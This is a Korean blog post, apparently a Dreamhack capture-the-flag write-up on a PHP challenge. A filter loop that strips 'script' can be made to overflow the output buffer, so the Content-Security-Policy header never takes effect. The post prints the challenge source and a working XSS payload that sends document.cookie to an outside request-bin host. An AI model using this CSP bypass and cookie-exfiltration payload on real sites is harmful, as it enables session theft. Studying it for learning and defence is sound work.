• 이 문제를 풀기 위해 알고 있어야 할 것
- PHP Output Buffer
말그대로 출력할 때 버퍼에 담아놓았다가 일정 이상이 차게 되면 한 번에 출력하게 끔 해준다.
버퍼를 초과하는 문자열을 넘겨준다면 오버플로가 발생하고 출력버퍼는 헤더정보까지 포함하여 비워지게 된다.
메인 페이지를 봤을때, XSS 취약점인가...?
소스 코드를 한번 보자..!
<?php
if (strlen($_GET['comment'])>500){
echo 'Too Long';
die();
}
if (isset($_GET['comment'])) {
$comment = $_GET['comment'];
if (strpos($comment, 'lol') !== false){
$prefix = 'Dreame : Looks delicious ~~ But I like pizza more ';
echo $prefix . $comment;
}
if (strpos($comment, 'script') !== false){
$untrusted_comment = $_GET['comment'];
while (strpos($untrusted_comment, 'script') !== false) {
$alert = 'Malicious string Detected !!!!!';
$untrusted_comment = str_replace('script', '', $untrusted_comment);
echo $alert;
echo $untrusted_comment;
}
}
}
$nonce = base64_encode(random_bytes(20));
$csp_header = "Content-Security-Policy: default-src 'self'; script-src *.bootstrapcdn.com 'nonce-" . $nonce . "'; style-src-elem *.bootstrapcdn.com;";
header($csp_header);
?>
index.php의 소스 코드이다.
xss에 대한 필터링은 없지만 CSP이 걸려있기 때문에 XSS를 트리거하기는 어려워 보인다...
하지만 output buffer을 이용하면 CSP헤더에 대한 정보를 오버플로를 발생시키기 위해 많은 문자열과 XSS 페이로드를 삽입하여 버퍼를 가득 채워 CSP를 우회할 수 있다.!!
• 취약점
if (strpos($comment, 'script') !== false){
$untrusted_comment = $_GET['comment'];
while (strpos($untrusted_comment, 'script') !== false) {
$alert = 'Malicious string Detected !!!!!';
$untrusted_comment = str_replace('script', '', $untrusted_comment);
echo $alert;
echo $untrusted_comment;
}
}
해당 부분에서 script 문자열이 포함되어있으면 while 문을 돌면서 없어질 때까지 반복을 한다.
제거하는 과정에서 Detected라는 문자열과 사용자 입력값이 계속 출력이 되면 output buffer가 계속 채워지면서 헤더에 대한 CSP 설정이 제대로 이루어지지 않는다....
즉, 사용자 입력값에 대한 필터링이 약하므로 CSP를 우회하고 XSS를 실행시킬 수 있다~!~!
소스코드를 보면 report.php가 존재한다.
<?php
$path = $_POST["path"] ?? "haha";
if(isset($_POST["path"])){
$arg = escapeshellarg($path);
$result = shell_exec("python3 ./bot/bot.py {$arg}");
}
?>
입력값이 shll_exec가 실행이 되면서 bot.py가 실행이 된다.
/?comment=<scrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscrscriptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptiptimg src=* onerror=document.location="https://pahjitx.request.dreamhack.games/"%2bdocument.cookie> |
페이로드를 사용해 보내주면 해당 flag 값을 얻을 수 있다.
str_replace()를 사용하기 때문에 scrscrscrscriptiptiptipt 이런 형식으로 계속 script문자열을 생성하여 $alert가 띄어지는 것을 유도해 output buffer를 채우게 한다.!!
'모의해킹 > Dreamhack' 카테고리의 다른 글
baby-union (0) | 2023.11.08 |
---|---|
Type c-j (0) | 2023.11.06 |
random-test (0) | 2023.11.04 |
amocafe (0) | 2023.11.03 |
command-injection-chatgpt (0) | 2023.11.01 |